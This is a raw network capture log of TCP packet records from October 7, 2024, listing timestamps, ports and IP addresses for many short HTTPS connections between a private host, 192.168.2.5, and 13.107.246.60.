Oct 7, 2024 13:26:41.088254929 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.088414907 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.088438034 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.088449955 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.088455915 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.091746092 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.091790915 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.092009068 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.092009068 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.092041969 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.227091074 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.228435993 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.228435993 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.228472948 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.228488922 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.361534119 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.361597061 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.361640930 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.361974001 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.361974001 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.361990929 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.361999035 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.365025043 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.365060091 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.365130901 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.365330935 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.365338087 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.554810047 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.555474997 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.555490971 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.556365013 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.556370974 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.593780041 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.594474077 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.594508886 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.595014095 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.595021009 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.657198906 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.657283068 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.657447100 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.657680035 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.657680035 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.657705069 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.657715082 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.661233902 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.661281109 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.661371946 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.661569118 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.661583900 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.698853016 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.699033976 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.699110985 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.699275970 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.699299097 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.699311972 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.699317932 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.702919006 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.702969074 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.703080893 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.703258038 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.703274965 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.718257904 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.718887091 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.718904972 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.719402075 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.719408989 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.732511044 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.732952118 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.732978106 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.733511925 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.733517885 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.827043056 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.827143908 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.827214956 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.827522039 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.827545881 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.827558994 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.827564955 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.831115007 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.831154108 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.831243992 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.831437111 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.831449032 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.832020998 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.832096100 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.832281113 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.832281113 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.832308054 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.832326889 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.834692955 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.834738016 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.834810019 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.834928989 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.834944010 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.012270927 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.013199091 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.013219118 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.013809919 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.013818979 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.113209009 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.113275051 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.113410950 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.113727093 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.113737106 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.113748074 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.113753080 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.117321014 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.117348909 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.117439032 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.117667913 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.117676020 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.337579012 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.338460922 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.338484049 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.338956118 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.338959932 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.339759111 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.340044022 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.340049982 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.340392113 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.340395927 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.442676067 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.442763090 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.442852020 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.442955971 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.443017006 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.443166018 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.443181038 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.443193913 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.443203926 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.443209887 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.443219900 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.443223953 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.443236113 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.443239927 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.447048903 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.447062969 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.447099924 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.447113037 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.447187901 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.447340965 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.447340965 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.447360992 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.447372913 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.447381973 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.484221935 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.484996080 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.485022068 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.485548019 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.485553980 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.500813961 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.502084017 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.502120018 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.502563953 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.502568960 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.583718061 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.583801985 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.583884954 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.584165096 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.584182978 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.584198952 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.584204912 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.587716103 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.587759018 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.587899923 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.588129997 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.588143110 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.603836060 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.603924990 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.604016066 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.604425907 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.604446888 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.604459047 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.604464054 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.607961893 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.608000994 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.608083010 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.608275890 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.608284950 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.800172091 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.801376104 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.801419020 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.801907063 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.801912069 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.906266928 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.906465054 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.906651974 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.906692028 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.906716108 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.906724930 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.906729937 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.910274982 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.910311937 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:42.910402060 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.910644054 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:42.910654068 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.108383894 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.109177113 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.109199047 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.109729052 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.109734058 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.110075951 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.110433102 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.110460043 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.110924006 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.110929966 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.212656021 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.212733984 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.212810040 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.213187933 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.213211060 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.213222027 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.213227034 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.213614941 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.213681936 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.213735104 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.230763912 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.230792046 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.230811119 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.230818033 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.231082916 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.232290030 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.232309103 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.233134031 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.233139038 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.234894037 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.234920979 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.235006094 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.235126972 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.235137939 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.236016989 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.236047983 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.236100912 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.236197948 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.236210108 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.307579994 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.308289051 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.308310032 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.308814049 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.308824062 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.334497929 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.334680080 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.334784031 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.334953070 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.334975958 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.334986925 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.334992886 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.338216066 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.338331938 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.338444948 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.338610888 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.338641882 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.416594982 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.416668892 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.416789055 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.417052031 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.417068958 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.417078972 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.417084932 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.420416117 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.420465946 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.420545101 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.420698881 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.420710087 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.547462940 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.548264027 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.548293114 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.548798084 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.548809052 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.647408962 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.647480965 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.647609949 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.647906065 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.647922993 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.647939920 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.647945881 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.651056051 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.651146889 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:43.651247978 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.651420116 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:43.651459932 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.047796011 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.048697948 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.048708916 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.048733950 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.049181938 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.049210072 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.049293995 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.049298048 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.049602032 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.049607038 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.050884008 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.051235914 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.051260948 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.051620007 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.051629066 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.147077084 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.147150040 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.147218943 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.147514105 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.147533894 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.147547007 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.147555113 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.151185989 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.151213884 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.151320934 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.151508093 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.151516914 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.152913094 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.153059959 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.153124094 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.153187990 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.153207064 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.153222084 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.153228045 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.155524969 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.155574083 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.155692101 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.155764103 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.155776024 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.165004969 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.165062904 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.165132046 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.165317059 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.165333986 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.165363073 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.165369034 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.167712927 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.167757988 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.167861938 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.168045044 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.168057919 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.228817940 CEST	443	49778	13.107.246.60	192.168.2.5
